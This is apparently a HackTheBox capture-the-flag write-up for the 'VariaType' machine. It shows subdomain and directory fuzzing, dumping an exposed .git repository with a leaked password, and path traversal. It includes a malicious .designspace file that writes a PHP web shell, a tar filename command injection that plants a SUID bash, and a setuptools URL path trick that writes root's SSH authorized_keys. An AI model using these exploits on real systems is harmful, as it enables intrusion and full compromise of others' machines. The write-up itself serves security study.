Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As seen with a lot of Linux machines, there’s only HTTP besides the usual SSH port. Since a redirect to variatype.htb was identified by nmap, I’ll add this to my /etc/hosts file.

Execution

On the web page for VariaType Labs one can generate variable fonts by uploading a .designspace file and master fonts. It’s based on the fonttools engine. Clicking on any of the buttons lead me to an upload form. Providing the requested files allows me to download the generated font. Even though I can upload files, trying to access anything else in /download/<string> ends up in an error message.

Looking up recent vulnerabilities for fonttools finds CVE-2025-66034 where an attacker can achieve arbitrary file write by providing a malicious .designspace file. It comes with a proof of concept, but even though trying to write files to word-readable directories like /tmp return a success message while writing to /root shows an error message, there’s too little information to exploit this.

So I have to move on (for now).

Since the site is reachable via a virtual host, I decide to enumerate other valid hostnames with fuff. This does find the portal subdomain and I add this to my hosts file as well.

$ ffuf -H 'Host: FUZZ.variatype.htb' \
       -u http://variatype.htb \
       -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
       -fs 169
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://variatype.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.variatype.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 169
________________________________________________
 
portal                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 47ms]

I’m greeted by a login prompt on the newly discovered subdomain. None of the default credentials let me login and straight up credential bruteforce does not seem to be the way.

Once again with ffuf I check for some quick wins while directory and file fuzzing. Besides a few PHP files, it also finds an exposed .git folder.

$ ffuf -u http://portal.variatype.htb/FUZZ \
       -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://portal.variatype.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 44ms]
.git/                   [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 44ms]
.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 45ms]
.git/config             [Status: 200, Size: 143, Words: 14, Lines: 9, Duration: 44ms]
.git/logs/HEAD          [Status: 200, Size: 700, Words: 45, Lines: 5, Duration: 45ms]
.git/index              [Status: 200, Size: 137, Words: 2, Lines: 2, Duration: 45ms]
.git/logs/refs          [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 45ms]
.git/logs/              [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 45ms]
auth.php                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
download.php            [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 35ms]
files/                  [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 38ms]
view.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]

I then proceed to clone the repository with git-dumper because a regular git clone won’t do.

$ git-dumper http://portal.variatype.htb/.git/ portal
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
--- SNIP ---
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://portal.variatype.htb/.git/objects/61/5e621dce970c2c1c16d2a1e26c12658e3669b3 [200]
[-] Fetching http://portal.variatype.htb/.git/objects/75/3b5f5957f2020480a19bf29a0ebc80267a4a3d [200]
[-] Fetching http://portal.variatype.htb/.git/objects/6f/021da6be7086f2595befaa025a83d1de99478b [200]
[-] Fetching http://portal.variatype.htb/.git/objects/50/30e791b764cb2a50fcb3e2279fea9737444870 [200]
[-] Fetching http://portal.variatype.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://portal.variatype.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://portal.variatype.htb/.git/objects/c6/ea13ef05d96cf3f35f62f87df24ade29d1d6b4 [200]
[-] Fetching http://portal.variatype.htb/.git/objects/03/0e929d424a937e9bd079794a7e1aaf366bcfaf [200]
[-] Fetching http://portal.variatype.htb/.git/objects/b3/28305f0e85c2b97a7e2a94978ae20f16db75e8 [200]
[-] Running git checkout .

It only contains auth.php and two commits. The latest mentions adding a new user called gitbot and inspecting this commit shows the password G1tB0t_Acc3ss_2025!.

$ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500
 
    fix: add gitbot user for automated validation pipeline
 
commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500
 
    feat: initial portal implementation
 
$ git diff 753b5f5
diff --git a/auth.php b/auth.php
index b328305..615e621 100644
--- a/auth.php
+++ b/auth.php
@@ -1,5 +1,3 @@
 <?php
 session_start();
-$USERS = [
-    'gitbot' => 'G1tB0t_Acc3ss_2025!'
-];
+$USERS = [];

With those credentials I can login on the portal and it shows all my previously generated files. Each of them can be viewed and downloaded.

Clicking on Download prompts me to save the file. The URL behind the link points to /download.php?f=<filename> and whenever I see full names passed as parameters, I check for local file inclusion/read and path traversal. A common practice seems to be to remove all occurrences of ../. If this is only done once, it can be bypassed by using ....//.

The read primitive allows me to poke around on the host for interesting files. Based on the Server header the web server is nginx and therefore I retrieve /etc/nginx/nginx.conf first. It shows the name of the configuration files for both of the enabled vhosts.

/etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;
 
events {
	worker_connections 768;
	# multi_accept on;
}
 
http {
 
	##
	# Basic Settings
	##
 
	sendfile on;
	tcp_nopush on;
	types_hash_max_size 2048;
	# server_tokens off;
 
	# server_names_hash_bucket_size 64;
	# server_name_in_redirect off;
 
	include /etc/nginx/mime.types;
	default_type application/octet-stream;
 
	##
	# SSL Settings
	##
 
	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;
 
	##
	# Logging Settings
	##
 
	access_log /var/log/nginx/access.log;
 
	##
	# Gzip Settings
	##
 
	gzip on;
 
	# gzip_vary on;
	# gzip_proxied any;
	# gzip_comp_level 6;
	# gzip_buffers 16 8k;
	# gzip_http_version 1.1;
	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
 
	##
	# Virtual Host Configs
	##
 
	include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/variatype.htb;
        include /etc/nginx/sites-enabled/portal.variatype.htb;
}

Those files might contain clues where those applications are located on disk and let me read their source code.

/etc/nginx/sites-enabled/variatype.htb
server {
    listen 80 default_server;
    listen [::]:80 default_server;
 
    server_name _; 
 
    return 301 http://variatype.htb$request_uri;
}
 
server {
    listen 80;
    server_name variatype.htb;
 
    access_log /var/log/nginx/variatype_access.log;
    error_log /var/log/nginx/variatype_error.log;
 
    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
 
}

variatype.htb is just a reverse proxy to 127.0.0.1:5000, but the code for the portal subdomain is kept in /var/www/portal.variatype.htb/public.

/etc/nginx/sites-enabled/portal.variatype.htb
server {
    listen 80;
    server_name portal.variatype.htb;
 
    root /var/www/portal.variatype.htb/public;
    index index.php;
 
    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;
 
    location / {
        try_files $uri $uri/ =404;
    }
 
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
 
    location /files/ {
        autoindex off;
    }
}

The font files generated by fonttools are placed into the files folder. At least they are retrieved from there.

/var/www/portal.variatype.htb/public/view.php
<?php
require_once 'auth.php';
require_login();
 
$file = $_GET['f'] ?? '';
if (!$file || !preg_match('/^[a-zA-Z0-9._-]+$/', $file)) {
    die('Invalid file name.');
}
 
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;
if (!is_file($filepath)) {
    die('File not found.');
}
 
?>
// --- SNIP ---

Now I can get back to the previously found vulnerability and try to write files into that directory. From the description on GitHub I use the setup.py code to generate two font files.

setup.py
#!/usr/bin/env python3
import os
 
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
 
def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)
 
if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

Then I also create the .designspace file with the PHP code and set the filename to the full path where I want to write to.

malicious.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
	<axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
	    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	        <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("id");?>]]]]><![CDATA[>]]></labelname>
	        <labelname xml:lang="fr">MEOW2</labelname>
	    </axis>
	</axes>
	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
	<sources>
		<source filename="source-light.ttf" name="Light">
			<location>
				<dimension name="Weight" xvalue="100"/>
			</location>
		</source>
		<source filename="source-regular.ttf" name="Regular">
			<location>
				<dimension name="Weight" xvalue="400"/>
			</location>
		</source>
	</sources>
	<variable-fonts>
		<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/test.php">
			<axis-subsets>
				<axis-subset name="Weight"/>
			</axis-subsets>
		</variable-font>
	</variable-fonts>
	<instances>
		<instance name="Display Thin" familyname="MyFont" stylename="Thin">
			<location><dimension name="Weight" xvalue="100"/></location>
			<labelname xml:lang="en">Display Thin</labelname>
		</instance>
	</instances>
</designspace>

After uploading the files on the main page, I get a success message and using the local file read, I can confirm that the file has been written.

Hint

It’s imported to upload both .ttf files by selecting them with CTRL in the file picker.

Navigating to the file in /files/test.php shows a lot of garbage text, but also includes the output of id for the www-data user. I then replace the command in the XML file with a reverse shell payload, perform the upload again and access the PHP file for a callback.

Privilege Escalation

Shell as steve

From exfiltrating passwd I already know that the only user besides root with a login shell is steve. I quickly find a Bash script in /opt that is owned by this user.

It passes all files having specific extensions, that are located in thefiles folder, to fontforge and then move them to another folder in the users home directory. A tool like pspy64 reveals the script is executed each minute.

process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
 
set -euo pipefail
 
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
 
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
 
log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
 
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
 
shopt -s nullglob
 
EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)
 
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
 
found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
 
        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi
 
        log "Processing submission: $file"
 
        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi
 
        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done
 
if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

Once again I search for vulnerabilities, but this time in fontforge version 20230101. I quickly find two interesting CVEs in pull request 5367 called Fix Splinefont shell invocation.

$ /usr/local/src/fontforge/build/bin/fontforge -h
Copyright (c) 2000-2025. See AUTHORS for Contributors.
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
 Version: 20230101
 Based on sources from 2025-12-07 11:44 UTC-D.
 Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf

Unfortunately neither the description for CVE-2024-25081 nor CVE-2024-25082 provide instructions or even more details, but I eventually find a blog post describing the attack. 25081 seems to be out of question as it uses characters not present in the $SAFE_NAME_REGEX variable.

I just slightly modify the example code for CVE-2024-25082 to copy the Bash binary with SUID bit set into /tmp/steve. After running the code, the booby-trapped file is placed into the files directory. The next run triggers the code and I can escalate to steve with /tmp/steve -p.

#!/usr/bin/env python3
import tarfile
import os
 
exec_command = f"$(install --mode=6777 /bin/bash /tmp/steve)"
 
with tarfile.open("/var/www/portal.variatype.htb/public/files/poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:
    t.addfile(tarfile.TarInfo(exec_command))

Shell as root

In order to get a proper shell I place my SSH public key into /home/steve/.ssh/authorized_keys and connect via SSH. Then I can check the users’ sudo privileges. Apparently I can run /opt/font-tools/install_validator.py as root without providing the (unknown) password.

$ sudo -ln
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

Basically the script downloads Python modules via PackageIndex.download and places them into /opt/font-tools/validators. Overall the script does not seem vulnerable so there might be a vulnerability lurking in the download feature.

/opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
 
Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
 
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
 
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
 
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)
 
def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False
 
def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)
 
    logging.info(f"Attempting to install plugin from: {plugin_url}")
 
    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)
 
def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)
 
    plugin_url = sys.argv[1]
 
    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)
 
    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)
 
    install_validator_plugin(plugin_url)
 
if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

The Python package setuptools is installed in version 78.1.0 and checking the release history, there was a security issue fixed in the next release1.

$ ls -la /usr/local/lib/python3.11/dist-packages/ | grep setup
drwxr-xr-x  9 root root 4096 Mar  9 08:29 setuptools
drwxr-xr-x  3 root root 4096 Dec 11 17:32 setuptools-78.1.0.dist-info

CVE-2025-47273 and the change log, both link to the GitHub issue 4946 that shows the proof of concept. Apparently the name of the file to write is derived from the URL so I can write any file on the system as root.

First I spin up nc on port 80 and pipe a standard HTTP response into it. No matter the actual URL my listener will provide the same payload.

$ PAYLOAD="ryuki"
 
$ echo -n "HTTP/1.1 200 OK\r\n\r\n${PAYLOAD}\r\n" \
  | nc -lnvp 80

Then I call the install_validator.py script with the URL-encoded value of /tmp/test.txt. There’s a hit on nc and I cancel with CTRL+C to complete the response. The script reports success and the plugin was installed into /tmp/test.txt with the content I provided.

$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.10.10/%2ftmp%2ftest.txt
2026-03-15 10:20:59,277 [INFO] Attempting to install plugin from: http://10.10.10.10/%2ftmp%2ftest.txt
2026-03-15 10:20:59,286 [INFO] Downloading http://10.10.10.10/%2ftmp%2ftest.txt
2026-03-15 10:21:01,274 [INFO] Plugin installed at: /tmp/test.txt
[+] Plugin installed successfully.
 
$ cat /tmp/test.txt
ryuki

Then I replace the payload with my SSH public key and repeat the steps to write to /root/.ssh/authorized_keys. That seems to work and I can login as root to collect the final flag.

$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.10.10/%2froot%2f.ssh%2fauthorized_keys
2026-03-15 10:22:32,460 [INFO] Attempting to install plugin from: http://10.10.10.10/%2froot%2f.ssh%2fauthorized_keys
2026-03-15 10:22:32,469 [INFO] Downloading http://10.10.10.10/%2froot%2f.ssh%2fauthorized_keys
2026-03-15 10:22:33,803 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

Attack Path

flowchart TD

subgraph "Execution"
    A(Web Page) -->|variatype.htb| B(Font generation with fonttools)
    A -->|vHost enumeration| C(portal subdomain)
    C -->|.git folder exposed| D(Source Code)
    D -->|Credentials in auth.php| E(Access to Dashboard)
    E -->|Local File Read| F(Web root location)
    F & B -->|CVE-2025-66034| G(PHP web shell as www-data)
end

subgraph "Privilege Escalation"
    G -->|CVE-2024-25082| H(Shell as steve)
    H -->|CVE-2025-47273| I(Shell as root)
end

Footnotes

  1. v78.1.1